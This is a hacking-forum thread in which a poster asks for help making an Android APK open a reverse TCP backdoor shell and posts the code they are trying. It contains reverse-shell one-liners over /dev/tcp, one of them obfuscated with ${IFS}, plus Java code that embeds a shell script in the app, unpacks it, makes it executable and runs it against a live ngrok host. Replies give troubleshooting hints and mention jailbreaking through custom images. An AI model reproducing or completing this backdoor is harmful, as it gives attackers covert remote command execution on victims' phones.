Backdoor - Reverse TCP Connection with Bash From Java Android Apk

Hello guys,

I rarely post in a forum, but this time I am forced to do it... the problem is weird...

I am developing an app for android and now I need to make a reverse tcp connection through a bash or sh code, or otherwise, execute a bash script saved in some .sh file in file system.

The problem is that I am not able to execute the line that makes the connection,

Is it possible?
Yes, of course!... If not, then how in Termux can you run "bash script.sh or sh script.sh"?

Does my reverse tcp connection script.sh work?
Yes, it works. I tested it on Termux(same device on which I test the apk), and also on windows works.

The problem is that I can not run it from the apk, it gets stuck in the part of making the reverse connection.


[ ¡ ALL SCRIPTS.SH WORKING IN WINDOWS AND TERMUX ! ]
SCRIPT_1.SH
#!/bin/bash or #!/system/bin/sh in android
exec -c 5<>/dev/tcp/ip/port && cat <&5 | while read line; do $line 2>&5 >&5; done
SCRIPT_2.SH
bash -c bash${IFS}-i${IFS}>&/dev/tcp/IP/PORT<&1

Function to execute command and get output in Android Apk (Java)


Next I show you how to do it...
I show you the part of the code that tries to execute a script that performs the reverse connection, and also apart try to execute a .sh file from downloads folder:

1-Execute bash commands direct from Java

-Not Working

String[] cmd = {
"/system/bin/sh",
"-c",
"exec 5<>/dev/tcp/4.tcp.ngrok.io/17852 && cat <&5 | while read line; do $line 2>&5 >&5; done"
// "bash${IFS}-i${IFS}>&/dev/tcp/4.tcp.ngrok.io/17852<&1"
};
executeCommandAndGetOutput("",cmd);

-BUT, if I do this, i get "9191919191" in the output so command it's executing
String[] cmd = {
"/system/bin/sh",
"-c",
"echo 9191919191 && exec 5<>/dev/tcp/4.tcp.ngrok.io/17852 && cat <&5 | while read line; do $line 2>&5 >&5; done"
};
executeCommandAndGetOutput("" ,cmd);


2-Create script in the app folder, give it permissions, and execute it.

private boolean unpackScript(String path)
{
InputStream in = getResources().openRawResource(R.raw.script);
FileOutputStream out = null;
try {
out = new FileOutputStream(path);
byte[] buff = new byte[1024];
int read = 0;
while ((read = in.read(buff)) > 0) { out.write(buff, 0, read); }
}
catch(Exception e){
e.printStackTrace();
}finally {
try {
in.close(); out.close();return true;
} catch (Exception e) {
e.printStackTrace();
}
}
return false;
}

String pathToScript = getDir("my_scripts", 0).getAbsolutePath() + File.separator + "script.sh";
// Unpack script to local filesystem
boolean unpacked = unpackScript(pathToScript);
if(unpacked){
executeCommandAndGetOutput("chmod 775 " + pathToScript);
executeCommandAndGetOutput("sh " + pathToScript);
}


This is the code of the script.sh:
#!/system/bin/sh
echo 111111111
exec 5<>/dev/tcp/ip/port
echo 22222222
cat <&5 | while read line; do $line 2>&5 >&5; done

The executeCommandAndGetOutput() shows "111111111" but not show "22222222", so seems like get stucked when try connect.



3-Execute a script saved in the download folder
String pathToScript = "/storage/emulated/0/Download/script.sh"
executeCommandAndGetOutput("chmod 775 " + pathToScript);
executeCommandAndGetOutput("sh " + pathToScript);

i think /dev/tcp doesn't even exist on android or you might need root access which you only get after a jail break.
oh and clean up that ugly code lol

itz_styx said:

i think /dev/tcp doesn't even exist on android or you might need root access which you only get after a jail break.
oh and clean up that ugly code lol

Click to expand...

Hey, but that's scripts are working in termux from android (same device i test the apk), so how can it works if /dev/tcp doesn't exists? Termux and this apk have the same permissions accepted (Only file permissions, and internet but that the user doesn't have to accept)

It's possible to make a jailbreak without discovering a zero day vuln in android 8, 9 ,10 or 11 ?

not all android systems are the same, its like with linux. some have /dev/tcp others don't.
just get a terminal emulator on the phone and check in the shell if you can access /dev/tcp manually.
also yes there are jail breaks without 0day through custom images.

itz_styx said:

not all android systems are the same, its like with linux. some have /dev/tcp others don't.
just get a terminal emulator on the phone and check in the shell if you can access /dev/tcp manually.
also yes there are jail breaks without 0day through custom images.

Click to expand...

Okay thank you, i will check it and answer.

But i'm testing it in the same android device, just with termux i can execute that script and it works, That's why i know that is not the dispositive, is the app or the code

struskin1 said:

Hey, but that's scripts are working in termux from android (same device i test the apk), so how can it works if /dev/tcp doesn't exists? Termux and this apk have the same permissions accepted (Only file permissions, and internet but that the user doesn't have to accept)

It's possible to make a jailbreak without discovering a zero day vuln in android 8, 9 ,10 or 11 ?

Click to expand...

Okam

struskin1 said:

Okay thank you, i will check it and answer.

But i'm testing it in the same android device, just with termux i can execute that script and it works, That's why i know that is not the dispositive, is the app or the code

Click to expand...

Ok man